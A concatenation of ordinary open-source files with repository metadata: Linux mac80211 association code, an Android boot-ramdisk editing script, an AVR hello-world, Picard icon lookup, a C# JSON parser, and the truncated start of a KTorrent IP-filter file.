ieee80211_destroy_auth_data(sdata, match); } /* prepare assoc data */ ifmgd->beacon_crc_valid = false; assoc_data->wmm = bss->wmm_used && (local->hw.queues >= IEEE80211_NUM_ACS); if (assoc_data->wmm) { /* try to check validity of WMM params IE */ const struct cfg80211_bss_ies *ies; const u8 *wp, *start, *end; rcu_read_lock(); ies = rcu_dereference(req->bss->ies); start = ies->data; end = start + ies->len; while (true) { wp = cfg80211_find_vendor_ie( WLAN_OUI_MICROSOFT, WLAN_OUI_TYPE_MICROSOFT_WMM, start, end - start); if (!wp) break; start = wp + wp[1] + 2; /* if this IE is too short, try the next */ if (wp[1] <= 4) continue; /* if this IE is WMM params, we found what we wanted */ if (wp[6] == 1) break; } if (!wp || !ieee80211_usable_wmm_params(sdata, wp + 2, wp[1] - 2)) { assoc_data->wmm = false; ifmgd->flags |= IEEE80211_STA_DISABLE_WMM; } rcu_read_unlock(); } /* * IEEE802.11n does not allow TKIP/WEP as pairwise ciphers in HT mode. * We still associate in non-HT mode (11a/b/g) if any one of these * ciphers is configured as pairwise. * We can set this to true for non-11n hardware, that'll be checked * separately along with the peer capabilities. */ for (i = 0; i < req->crypto.n_ciphers_pairwise; i++) { if (req->crypto.ciphers_pairwise[i] == WLAN_CIPHER_SUITE_WEP40 || req->crypto.ciphers_pairwise[i] == WLAN_CIPHER_SUITE_TKIP || req->crypto.ciphers_pairwise[i] == WLAN_CIPHER_SUITE_WEP104) { ifmgd->flags |= IEEE80211_STA_DISABLE_HT; ifmgd->flags |= IEEE80211_STA_DISABLE_VHT; netdev_info(sdata->dev, "disabling HT/VHT due to WEP/TKIP use\n"); } } if (req->flags & ASSOC_REQ_DISABLE_HT) { ifmgd->flags |= IEEE80211_STA_DISABLE_HT; ifmgd->flags |= IEEE80211_STA_DISABLE_VHT; } if (req->flags & ASSOC_REQ_DISABLE_VHT) ifmgd->flags |= IEEE80211_STA_DISABLE_VHT; /* Also disable HT if we don't support it or the AP doesn't use WMM */ sband = local->hw.wiphy->bands[req->bss->channel->band]; if (!sband->ht_cap.ht_supported || local->hw.queues < IEEE80211_NUM_ACS || !bss->wmm_used || ifmgd->flags & IEEE80211_STA_DISABLE_WMM) { ifmgd->flags |= IEEE80211_STA_DISABLE_HT; if (!bss->wmm_used && !(ifmgd->flags & IEEE80211_STA_DISABLE_WMM)) netdev_info(sdata->dev, "disabling HT as WMM/QoS is not supported by the AP\n"); } /* disable VHT if we don't support it or the AP doesn't use WMM */ if (!sband->vht_cap.vht_supported || local->hw.queues < IEEE80211_NUM_ACS || !bss->wmm_used || ifmgd->flags & IEEE80211_STA_DISABLE_WMM) { ifmgd->flags |= IEEE80211_STA_DISABLE_VHT; if (!bss->wmm_used && !(ifmgd->flags & IEEE80211_STA_DISABLE_WMM)) netdev_info(sdata->dev, "disabling VHT as WMM/QoS is not supported by the AP\n"); } memcpy(&ifmgd->ht_capa, &req->ht_capa, sizeof(ifmgd->ht_capa)); memcpy(&ifmgd->ht_capa_mask, &req->ht_capa_mask, sizeof(ifmgd->ht_capa_mask)); memcpy(&ifmgd->vht_capa, &req->vht_capa, sizeof(ifmgd->vht_capa)); memcpy(&ifmgd->vht_capa_mask, &req->vht_capa_mask, sizeof(ifmgd->vht_capa_mask)); if (req->ie && req->ie_len) { memcpy(assoc_data->ie, req->ie, req->ie_len); assoc_data->ie_len = req->ie_len; } assoc_data->bss = req->bss; if (ifmgd->req_smps == IEEE80211_SMPS_AUTOMATIC) { if (ifmgd->powersave) sdata->smps_mode = IEEE80211_SMPS_DYNAMIC; else sdata->smps_mode = IEEE80211_SMPS_OFF; } else sdata->smps_mode = ifmgd->req_smps; assoc_data->capability = req->bss->capability; assoc_data->supp_rates = bss->supp_rates; assoc_data->supp_rates_len = bss->supp_rates_len; rcu_read_lock(); ht_ie = ieee80211_bss_get_ie(req->bss, WLAN_EID_HT_OPERATION); if (ht_ie && ht_ie[1] >= sizeof(struct ieee80211_ht_operation)) assoc_data->ap_ht_param = ((struct ieee80211_ht_operation *)(ht_ie + 2))->ht_param; else ifmgd->flags |= IEEE80211_STA_DISABLE_HT; vht_ie = ieee80211_bss_get_ie(req->bss, WLAN_EID_VHT_CAPABILITY); if (vht_ie && vht_ie[1] >= sizeof(struct ieee80211_vht_cap)) memcpy(&assoc_data->ap_vht_cap, vht_ie + 2, sizeof(struct ieee80211_vht_cap)); else ifmgd->flags |= IEEE80211_STA_DISABLE_VHT; rcu_read_unlock(); if (WARN((sdata->vif.driver_flags & IEEE80211_VIF_SUPPORTS_UAPSD) && (local->hw.flags & IEEE80211_HW_PS_NULLFUNC_STACK), "U-APSD not supported with HW_PS_NULLFUNC_STACK\n")) sdata->vif.driver_flags &= ~IEEE80211_VIF_SUPPORTS_UAPSD; if (bss->wmm_used && bss->uapsd_supported && (sdata->vif.driver_flags & IEEE80211_VIF_SUPPORTS_UAPSD)) { assoc_data->uapsd = true; ifmgd->flags |= IEEE80211_STA_UAPSD_ENABLED; } else { assoc_data->uapsd = false; ifmgd->flags &= ~IEEE80211_STA_UAPSD_ENABLED; } if (req->prev_bssid) memcpy(assoc_data->prev_bssid, req->prev_bssid, ETH_ALEN); if (req->use_mfp) { ifmgd->mfp = IEEE80211_MFP_REQUIRED; ifmgd->flags |= IEEE80211_STA_MFP_ENABLED; } else { ifmgd->mfp = IEEE80211_MFP_DISABLED; ifmgd->flags &= ~IEEE80211_STA_MFP_ENABLED; } if (req->flags & ASSOC_REQ_USE_RRM) ifmgd->flags |= IEEE80211_STA_ENABLE_RRM; else ifmgd->flags &= ~IEEE80211_STA_ENABLE_RRM; if (req->crypto.control_port) ifmgd->flags |= IEEE80211_STA_CONTROL_PORT; else ifmgd->flags &= ~IEEE80211_STA_CONTROL_PORT; sdata->control_port_protocol = req->crypto.control_port_ethertype; sdata->control_port_no_encrypt = req->crypto.control_port_no_encrypt; sdata->encrypt_headroom = ieee80211_cs_headroom(local, &req->crypto, sdata->vif.type); /* kick off associate process */ ifmgd->assoc_data = assoc_data; ifmgd->dtim_period = 0; ifmgd->have_beacon = false; err = ieee80211_prep_connection(sdata, req->bss, true); if (err) goto err_clear; rcu_read_lock(); beacon_ies = rcu_dereference(req->bss->beacon_ies); if (sdata->local->hw.flags & IEEE80211_HW_NEED_DTIM_BEFORE_ASSOC && !beacon_ies) { /* * Wait up to one beacon interval ... * should this be more if we miss one? */ sdata_info(sdata, "waiting for beacon from %pM\n", ifmgd->bssid); assoc_data->timeout = TU_TO_EXP_TIME(req->bss->beacon_interval); assoc_data->timeout_started = true; assoc_data->need_beacon = true; } else if (beacon_ies) { const u8 *tim_ie = cfg80211_find_ie(WLAN_EID_TIM, beacon_ies->data, beacon_ies->len); u8 dtim_count = 0; if (tim_ie && tim_ie[1] >= sizeof(struct ieee80211_tim_ie)) { const struct ieee80211_tim_ie *tim; tim = (void *)(tim_ie + 2); ifmgd->dtim_period = tim->dtim_period; dtim_count = tim->dtim_count; } ifmgd->have_beacon = true; assoc_data->timeout = jiffies; assoc_data->timeout_started = true; if (local->hw.flags & IEEE80211_HW_TIMING_BEACON_ONLY) { sdata->vif.bss_conf.sync_tsf = beacon_ies->tsf; sdata->vif.bss_conf.sync_device_ts = bss->device_ts_beacon; sdata->vif.bss_conf.sync_dtim_count = dtim_count; } } else { assoc_data->timeout = jiffies; assoc_data->timeout_started = true; } rcu_read_unlock(); run_again(sdata, assoc_data->timeout); if (bss->corrupt_data) { char *corrupt_type = "data"; if (bss->corrupt_data & IEEE80211_BSS_CORRUPT_BEACON) { if (bss->corrupt_data & IEEE80211_BSS_CORRUPT_PROBE_RESP) corrupt_type = "beacon and probe response"; else corrupt_type = "beacon"; } else if (bss->corrupt_data & IEEE80211_BSS_CORRUPT_PROBE_RESP) corrupt_type = "probe response"; sdata_info(sdata, "associating with AP with corrupt %s\n", corrupt_type); } return 0; err_clear: eth_zero_addr(ifmgd->bssid); ieee80211_bss_info_change_notify(sdata, BSS_CHANGED_BSSID); ifmgd->assoc_data = NULL; err_free: kfree(assoc_data); return err; } int ieee80211_mgd_deauth(struct ieee80211_sub_if_data *sdata, struct cfg80211_deauth_request *req) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; u8 frame_buf[IEEE80211_DEAUTH_FRAME_LEN]; bool tx = !req->local_state_change; if (ifmgd->auth_data && ether_addr_equal(ifmgd->auth_data->bss->bssid, req->bssid)) { sdata_info(sdata, "aborting authentication with %pM by local choice (Reason: %u=%s)\n", req->bssid, req->reason_code, ieee80211_get_reason_code_string(req->reason_code)); drv_mgd_prepare_tx(sdata->local, sdata); ieee80211_send_deauth_disassoc(sdata, req->bssid, IEEE80211_STYPE_DEAUTH, req->reason_code, tx, frame_buf); ieee80211_destroy_auth_data(sdata, false); cfg80211_tx_mlme_mgmt(sdata->dev, frame_buf, IEEE80211_DEAUTH_FRAME_LEN); return 0; } if (ifmgd->associated && ether_addr_equal(ifmgd->associated->bssid, req->bssid)) { sdata_info(sdata, "deauthenticating from %pM by local choice (Reason: %u=%s)\n", req->bssid, req->reason_code, ieee80211_get_reason_code_string(req->reason_code)); ieee80211_set_disassoc(sdata, IEEE80211_STYPE_DEAUTH, req->reason_code, tx, frame_buf); cfg80211_tx_mlme_mgmt(sdata->dev, frame_buf, IEEE80211_DEAUTH_FRAME_LEN); return 0; } return -ENOTCONN; } int ieee80211_mgd_disassoc(struct ieee80211_sub_if_data *sdata, struct cfg80211_disassoc_request *req) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; u8 bssid[ETH_ALEN]; u8 frame_buf[IEEE80211_DEAUTH_FRAME_LEN]; /* * cfg80211 should catch this ... but it's racy since * we can receive a disassoc frame, process it, hand it * to cfg80211 while that's in a locked section already * trying to tell us that the user wants to disconnect. */ if (ifmgd->associated != req->bss) return -ENOLINK; sdata_info(sdata, "disassociating from %pM by local choice (Reason: %u=%s)\n", req->bss->bssid, req->reason_code, ieee80211_get_reason_code_string(req->reason_code)); memcpy(bssid, req->bss->bssid, ETH_ALEN); ieee80211_set_disassoc(sdata, IEEE80211_STYPE_DISASSOC, req->reason_code, !req->local_state_change, frame_buf); cfg80211_tx_mlme_mgmt(sdata->dev, frame_buf, IEEE80211_DEAUTH_FRAME_LEN); return 0; } void ieee80211_mgd_stop(struct ieee80211_sub_if_data *sdata) { struct ieee80211_if_managed *ifmgd = &sdata->u.mgd; /* * Make sure some work items will not run after this, * they will not do anything but might not have been * cancelled when disconnecting. */ cancel_work_sync(&ifmgd->monitor_work); cancel_work_sync(&ifmgd->beacon_connection_loss_work); cancel_work_sync(&ifmgd->request_smps_work); cancel_work_sync(&ifmgd->csa_connection_drop_work); cancel_work_sync(&ifmgd->chswitch_work); cancel_delayed_work_sync(&ifmgd->tdls_peer_del_work); sdata_lock(sdata); if (ifmgd->assoc_data) { struct cfg80211_bss *bss = ifmgd->assoc_data->bss; ieee80211_destroy_assoc_data(sdata, false); cfg80211_assoc_timeout(sdata->dev, bss); } if (ifmgd->auth_data) ieee80211_destroy_auth_data(sdata, false); spin_lock_bh(&ifmgd->teardown_lock); if (ifmgd->teardown_skb) { kfree_skb(ifmgd->teardown_skb); ifmgd->teardown_skb = NULL; ifmgd->orig_teardown_skb = NULL; } spin_unlock_bh(&ifmgd->teardown_lock); del_timer_sync(&ifmgd->timer); sdata_unlock(sdata); } void ieee80211_cqm_rssi_notify(struct ieee80211_vif *vif, enum nl80211_cqm_rssi_threshold_event rssi_event, gfp_t gfp) { struct ieee80211_sub_if_data *sdata = vif_to_sdata(vif); trace_api_cqm_rssi_notify(sdata, rssi_event); cfg80211_cqm_rssi_notify(sdata->dev, rssi_event, gfp); } EXPORT_SYMBOL(ieee80211_cqm_rssi_notify); void ieee80211_cqm_beacon_loss_notify(struct ieee80211_vif *vif, gfp_t gfp) { struct ieee80211_sub_if_data *sdata = vif_to_sdata(vif); trace_api_cqm_beacon_loss_notify(sdata->local, sdata); cfg80211_cqm_beacon_loss_notify(sdata->dev, gfp); } EXPORT_SYMBOL(ieee80211_cqm_beacon_loss_notify);
bcopeland/ath10k-mesh
net/mac80211/mlme.c
C
gpl-2.0
144,809
#!/sbin/sh #ramdisk_gov_sed.sh by show-p1984 #Features: #extracts ramdisk #finds busbox in /system or sets default location if it cannot be found #add init.d support if not already supported #removes governor overrides #removes min freq overrides #repacks the ramdisk mkdir /tmp/ramdisk cp /tmp/boot.img-ramdisk.gz /tmp/ramdisk/ cd /tmp/ramdisk/ gunzip -c /tmp/ramdisk/boot.img-ramdisk.gz | cpio -i cd / #remove cmdline parameters we do not want #maxcpus=2 in this case, which limits smp activation to the first 2 cpus echo $(cat /tmp/boot.img-cmdline | sed -e 's/maxcpus=[^ ]\+//')>/tmp/boot.img-cmdline #add init.d support if not already supported #this is no longer needed as the ramdisk now inserts our modules, but we will #keep this here for user comfort, since having run-parts init.d support is a #good idea anyway. found=$(find /tmp/ramdisk/init.rc -type f | xargs grep -oh "run-parts /system/etc/init.d"); if [ "$found" != 'run-parts /system/etc/init.d' ]; then #find busybox in /system bblocation=$(find /system/ -name 'busybox') if [ -n "$bblocation" ] && [ -e "$bblocation" ] ; then echo "BUSYBOX FOUND!"; #strip possible leading '.' bblocation=${bblocation#.}; else echo "BUSYBOX NOT FOUND! init.d support will not work without busybox!"; echo "Setting busybox location to /system/xbin/busybox! (install it and init.d will work)"; #set default location since we couldn't find busybox bblocation="/system/xbin/busybox"; fi #append the new lines for this option at the bottom echo "" >> /tmp/ramdisk/init.rc echo "service userinit $bblocation run-parts /system/etc/init.d" >> /tmp/ramdisk/init.rc echo " oneshot" >> /tmp/ramdisk/init.rc echo " class late_start" >> /tmp/ramdisk/init.rc echo " user root" >> /tmp/ramdisk/init.rc echo " group root" >> /tmp/ramdisk/init.rc fi #copy custom init.shamu.power.rc cp /tmp/init.shamu.power.rc /tmp/ramdisk/init.shamu.power.rc chmod 750 /tmp/ramdisk/init.shamu.power.rc #copy custom init.shamu.rc cp /tmp/fstab.shamu /tmp/ramdisk/fstab.shamu chmod 750 /tmp/ramdisk/fstab.shamu #remove governor overrides, use kernel default #sed -i '/\/sys\/devices\/system\/cpu\/cpufreq\/interactive\/hispeed_freq/d' /tmp/ramdisk/init.shamu.power.rc #sed -i '/\/sys\/devices\/system\/cpu\/cpu0\/cpufreq\/scaling_governor/d' /tmp/ramdisk/init.shamu.power.rc #sed -i '/\/sys\/devices\/system\/cpu\/cpu1\/cpufreq\/scaling_governor/d' /tmp/ramdisk/init.shamu.power.rc #sed -i '/\/sys\/devices\/system\/cpu\/cpu2\/cpufreq\/scaling_governor/d' /tmp/ramdisk/init.shamu.power.rc #sed -i '/\/sys\/devices\/system\/cpu\/cpu3\/cpufreq\/scaling_governor/d' /tmp/ramdisk/init.shamu.power.rc #remove min_freq overrides, use kernel default #sed -i '/\/sys\/devices\/system\/cpu\/cpu0\/cpufreq\/scaling_min_freq/d' /tmp/ramdisk/init.shamu.power.rc #sed -i '/\/sys\/devices\/system\/cpu\/cpu1\/cpufreq\/scaling_min_freq/d' /tmp/ramdisk/init.shamu.power.rc #sed -i '/\/sys\/devices\/system\/cpu\/cpu2\/cpufreq\/scaling_min_freq/d' /tmp/ramdisk/init.shamu.power.rc #sed -i '/\/sys\/devices\/system\/cpu\/cpu3\/cpufreq\/scaling_min_freq/d' /tmp/ramdisk/init.shamu.power.rc rm /tmp/ramdisk/boot.img-ramdisk.gz rm /tmp/boot.img-ramdisk.gz cd /tmp/ramdisk/ find . | cpio -o -H newc | gzip > ../boot.img-ramdisk.gz cd / rm -rf /tmp/ramdisk
AndroidSymmetry/Old_Sparky
out/kernel/edit_ramdisk.sh
Shell
gpl-2.0
3,474
/******************************************************************************* * This file is part of OpenWSN, the Open Wireless Sensor Network Platform. * * Copyright (C) 2005-2010 zhangwei(TongJi University) * * OpenWSN is a free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 or (at your option) any later version. * * OpenWSN is distributed in the hope that it will be useful, but WITHOUT ANY * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR * A PARTICULAR PURPOSE. See the GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 59 Temple * Place, Suite 330, Boston, MA 02111-1307 USA. * * For non-opensource or commercial applications, please choose commercial license. * Refer to OpenWSN site http://code.google.com/p/openwsn/ for more detail. * * For other questions, you can contact the author through email openwsn#gmail.com * or the mailing address: Dr. Wei Zhang, Dept. of Control, Dianxin Hall, TongJi * University, 4800 Caoan Road, Shanghai, China. Zip: 201804 * ******************************************************************************/ #include "../../common/openwsn/hal/hal_configall.h" #include "../../common/openwsn/hal/hal_foundation.h" #include "../../common/openwsn/hal/hal_target.h" #include "../../common/openwsn/hal/hal_debugio.h" #include "../../common/openwsn/hal/hal_cpu.h" /******************************************************************************* * @modified by zhangwei on 2010.05.15 * - ported to winavr 2009. now the project can be built successfully with portable * winavr 2009 and avrstudio 4.15. * - rebuild the target binary files * - revision ******************************************************************************/ int main(void) { char * msg = "hello! \r\n"; uint8 i; /* initialize the target microcontroller(mcu) and the target board */ target_init(); /* open USRAT 0 and set baudrate to 38400. other parameters uses default values. * by default, this project uses the GAINZ hardware platform. for other platforms * you may need to modify the initial settings */ dbo_open(0, 38400); /* output the message character by character */ for (i=0; i<9; i++) dbo_putchar( msg[i] ); /* output the message as a whole */ dbo_write( msg, 9 ); while (1) {}; return 0; }
openwsn/node
examples/gainz_winavr/hello/hello.c
C
gpl-2.0
2,611
# -*- coding: utf-8 -*- # # Picard, the next-generation MusicBrainz tagger # Copyright (C) 2006 Lukáš Lalinský # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. import os.path import sys from PyQt5 import QtGui if sys.platform == 'win32': _search_paths = [] else: _search_paths = [ os.path.expanduser('~/.icons'), os.path.join(os.environ.get('XDG_DATA_DIRS', '/usr/share'), 'icons'), '/usr/share/pixmaps', ] _current_theme = None if 'XDG_CURRENT_DESKTOP' in os.environ: desktop = os.environ['XDG_CURRENT_DESKTOP'].lower() if desktop in ('gnome', 'unity'): _current_theme = (os.popen('gsettings get org.gnome.desktop.interface icon-theme').read().strip()[1:-1] or None) elif os.environ.get('KDE_FULL_SESSION'): _current_theme = (os.popen("kreadconfig --file kdeglobals --group Icons --key Theme --default crystalsvg").read().strip() or None) ICON_SIZE_MENU = ('16x16',) ICON_SIZE_TOOLBAR = ('22x22',) ICON_SIZE_ALL = ('22x22', '16x16') def lookup(name, size=ICON_SIZE_ALL): icon = QtGui.QIcon() if _current_theme: for path in _search_paths: for subdir in ('actions', 'places', 'devices'): fullpath = os.path.join(path, _current_theme, size[0], subdir, name) if os.path.exists(fullpath + '.png'): icon.addFile(fullpath + '.png') for s in size[1:]: icon.addFile(os.path.join(path, _current_theme, s, subdir, name) + '.png') return icon for s in size: icon.addFile('/'.join([':', 'images', s, name]) + '.png') return icon
mineo/picard
picard/util/icontheme.py
Python
gpl-2.0
2,350
/* * Copyright (c) 2012 Calvin Rien * * Based on the JSON parser by Patrick van Bergen * http://techblog.procurios.nl/k/618/news/view/14605/14863/How-do-I-write-my-own-parser-for-JSON.html * * Simplified it so that it doesn't throw exceptions * and can be used in Unity iPhone with maximum code stripping. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * "Software"), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ using System; using System.Collections; using System.Collections.Generic; using System.IO; using System.Text; namespace EveryplayMiniJSON { // Example usage: // // using UnityEngine; // using System.Collections; // using System.Collections.Generic; // using MiniJSON; // // public class MiniJSONTest : MonoBehaviour { // void Start () { // var jsonString = "{ \"array\": [1.44,2,3], " + // "\"object\": {\"key1\":\"value1\", \"key2\":256}, " + // "\"string\": \"The quick brown fox \\\"jumps\\\" over the lazy dog \", " + // "\"unicode\": \"\\u3041 Men\u00fa sesi\u00f3n\", " + // "\"int\": 65536, " + // "\"float\": 3.1415926, " + // "\"bool\": true, " + // "\"null\": null }"; // // var dict = Json.Deserialize(jsonString) as Dictionary<string,object>; // // Debug.Log("deserialized: " + dict.GetType()); // Debug.Log("dict['array'][0]: " + ((List<object>) dict["array"])[0]); // Debug.Log("dict['string']: " + (string) dict["string"]); // Debug.Log("dict['float']: " + (double) dict["float"]); // floats come out as doubles // Debug.Log("dict['int']: " + (long) dict["int"]); // ints come out as longs // Debug.Log("dict['unicode']: " + (string) dict["unicode"]); // // var str = Json.Serialize(dict); // // Debug.Log("serialized: " + str); // } // } /// <summary> /// This class encodes and decodes JSON strings. /// Spec. details, see http://www.json.org/ /// /// JSON uses Arrays and Objects. These correspond here to the datatypes IList and IDictionary. /// All numbers are parsed to doubles. /// </summary> public static class Json { /// <summary> /// Parses the string json into a value /// </summary> /// <param name="json">A JSON string.</param> /// <returns>An List&lt;object&gt;, a Dictionary&lt;string, object&gt;, a double, an integer,a string, null, true, or false</returns> public static object Deserialize(string json) { // save the string for debug information if (json == null) { return null; } return Parser.Parse(json); } sealed class Parser : IDisposable { const string WHITE_SPACE = " \t\n\r"; const string WORD_BREAK = " \t\n\r{}[],:\""; enum TOKEN { NONE, CURLY_OPEN, CURLY_CLOSE, SQUARED_OPEN, SQUARED_CLOSE, COLON, COMMA, STRING, NUMBER, TRUE, FALSE, NULL }; StringReader json; Parser(string jsonString) { json = new StringReader(jsonString); } public static object Parse(string jsonString) { using (var instance = new Parser(jsonString)) { return instance.ParseValue(); } } public void Dispose() { json.Dispose(); json = null; } Dictionary<string, object> ParseObject() { Dictionary<string, object> table = new Dictionary<string, object>(); // ditch opening brace json.Read(); // { while (true) { switch (NextToken) { case TOKEN.NONE: return null; case TOKEN.COMMA: continue; case TOKEN.CURLY_CLOSE: return table; default: // name string name = ParseString(); if (name == null) { return null; } // : if (NextToken != TOKEN.COLON) { return null; } // ditch the colon json.Read(); // value table[name] = ParseValue(); break; } } } List<object> ParseArray() { List<object> array = new List<object>(); // ditch opening bracket json.Read(); // [ var parsing = true; while (parsing) { TOKEN nextToken = NextToken; switch (nextToken) { case TOKEN.NONE: return null; case TOKEN.COMMA: continue; case TOKEN.SQUARED_CLOSE: parsing = false; break; default: object value = ParseByToken(nextToken); array.Add(value); break; } } return array; } object ParseValue() { TOKEN nextToken = NextToken; return ParseByToken(nextToken); } object ParseByToken(TOKEN token) { switch (token) { case TOKEN.STRING: return ParseString(); case TOKEN.NUMBER: return ParseNumber(); case TOKEN.CURLY_OPEN: return ParseObject(); case TOKEN.SQUARED_OPEN: return ParseArray(); case TOKEN.TRUE: return true; case TOKEN.FALSE: return false; case TOKEN.NULL: return null; default: return null; } } string ParseString() { StringBuilder s = new StringBuilder(); char c; // ditch opening quote json.Read(); bool parsing = true; while (parsing) { if (json.Peek() == -1) { parsing = false; break; } c = NextChar; switch (c) { case '"': parsing = false; break; case '\\': if (json.Peek() == -1) { parsing = false; break; } c = NextChar; switch (c) { case '"': case '\\': case '/': s.Append(c); break; case 'b': s.Append('\b'); break; case 'f': s.Append('\f'); break; case 'n': s.Append('\n'); break; case 'r': s.Append('\r'); break; case 't': s.Append('\t'); break; case 'u': var hex = new StringBuilder(); for (int i=0; i< 4; i++) { hex.Append(NextChar); } s.Append((char) Convert.ToInt32(hex.ToString(), 16)); break; } break; default: s.Append(c); break; } } return s.ToString(); } object ParseNumber() { string number = NextWord; if (number.IndexOf('.') == -1) { long parsedInt; Int64.TryParse(number, out parsedInt); return parsedInt; } double parsedDouble; Double.TryParse(number, out parsedDouble); return parsedDouble; } void EatWhitespace() { while (WHITE_SPACE.IndexOf(PeekChar) != -1) { json.Read(); if (json.Peek() == -1) { break; } } } char PeekChar { get { return Convert.ToChar(json.Peek()); } } char NextChar { get { return Convert.ToChar(json.Read()); } } string NextWord { get { StringBuilder word = new StringBuilder(); while (WORD_BREAK.IndexOf(PeekChar) == -1) { word.Append(NextChar); if (json.Peek() == -1) { break; } } return word.ToString(); } } TOKEN NextToken { get { EatWhitespace(); if (json.Peek() == -1) { return TOKEN.NONE; } char c = PeekChar; switch (c) { case '{': return TOKEN.CURLY_OPEN; case '}': json.Read(); return TOKEN.CURLY_CLOSE; case '[': return TOKEN.SQUARED_OPEN; case ']': json.Read(); return TOKEN.SQUARED_CLOSE; case ',': json.Read(); return TOKEN.COMMA; case '"': return TOKEN.STRING; case ':': return TOKEN.COLON; case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': case '-': return TOKEN.NUMBER; } string word = NextWord; switch (word) { case "false": return TOKEN.FALSE; case "true": return TOKEN.TRUE; case "null": return TOKEN.NULL; } return TOKEN.NONE; } } } /// <summary> /// Converts a IDictionary / IList object or a simple type (string, int, etc.) into a JSON string /// </summary> /// <param name="json">A Dictionary&lt;string, object&gt; / List&lt;object&gt;</param> /// <returns>A JSON encoded string, or null if object 'json' is not serializable</returns> public static string Serialize(object obj) { return Serializer.Serialize(obj); } sealed class Serializer { StringBuilder builder; Serializer() { builder = new StringBuilder(); } public static string Serialize(object obj) { var instance = new Serializer(); instance.SerializeValue(obj); return instance.builder.ToString(); } void SerializeValue(object value) { IList asList; IDictionary asDict; string asStr; if (value == null) { builder.Append("null"); } else if ((asStr = value as string) != null) { SerializeString(asStr); } else if (value is bool) { builder.Append(value.ToString().ToLower()); } else if ((asList = value as IList) != null) { SerializeArray(asList); } else if ((asDict = value as IDictionary) != null) { SerializeObject(asDict); } else if (value is char) { SerializeString(value.ToString()); } else { SerializeOther(value); } } void SerializeObject(IDictionary obj) { bool first = true; builder.Append('{'); foreach (object e in obj.Keys) { if (!first) { builder.Append(','); } SerializeString(e.ToString()); builder.Append(':'); SerializeValue(obj[e]); first = false; } builder.Append('}'); } void SerializeArray(IList anArray) { builder.Append('['); bool first = true; foreach (object obj in anArray) { if (!first) { builder.Append(','); } SerializeValue(obj); first = false; } builder.Append(']'); } void SerializeString(string str) { builder.Append('\"'); char[] charArray = str.ToCharArray(); foreach (var c in charArray) { switch (c) { case '"': builder.Append("\\\""); break; case '\\': builder.Append("\\\\"); break; case '\b': builder.Append("\\b"); break; case '\f': builder.Append("\\f"); break; case '\n': builder.Append("\\n"); break; case '\r': builder.Append("\\r"); break; case '\t': builder.Append("\\t"); break; default: int codepoint = Convert.ToInt32(c); if ((codepoint >= 32) && (codepoint <= 126)) { builder.Append(c); } else { builder.Append("\\u" + Convert.ToString(codepoint, 16).PadLeft(4, '0')); } break; } } builder.Append('\"'); } void SerializeOther(object value) { if (value is float || value is int || value is uint || value is long || value is double || value is sbyte || value is byte || value is short || value is ushort || value is ulong || value is decimal) { builder.Append(value.ToString()); } else { SerializeString(value.ToString()); } } } } }
Reminouche/TCG
Assets/Plugins/Everyplay/Scripts/EveryplayMiniJSON.cs
C#
gpl-2.0
17,936
/*************************************************************************** * Copyright (C) 2005 by Joris Guisson * * joris.guisson@gmail.com * * ivasic@gmail.com * * * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the * * Free Software Foundation, Inc., * * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. * ***************************************************************************/ #include "antip2p.h" #include <arpa/inet.h> #include <torrent/globals.h> #include <util/log.h> #include <util/constants.h> #include <util/mmapfile.h> #include <net/address.h> #include <kglobal.h> #include <kstandarddirs.h> #include <qstring.h> using namespace bt; namespace kt { static Uint32 StringToUint32(const QString& ip) { bool test; Uint32 ret = ip.section('.', 0, 0).toULongLong(&test); ret <<= 8; ret |= ip.section('.', 1, 1).toULong(&test); ret <<= 8; ret |= ip.section('.', 2, 2).toULong(&test); ret <<= 8; ret |= ip.section('.', 3, 3).toULong(&test); return ret; } IPBlock::IPBlock() : ip1(0), ip2(0) {} IPBlock::IPBlock(const IPBlock& block) : ip1(block.ip1), ip2(block.ip2) {} IPBlock::IPBlock(const QString& start, const QString& end) { ip1 = StringToUint32(start); ip2 = StringToUint32(end); } AntiP2P::AntiP2P() { header_loaded = false; load(); } AntiP2P::~AntiP2P() { delete file; Out(SYS_IPF | LOG_ALL) << "Anti-P2P filter unloaded." << endl; } bool AntiP2P::blocked(const net::Address& addr) const { if (!header_loaded) { Out(SYS_IPF | LOG_IMPORTANT) << "Tried to check if IP was blocked, but no 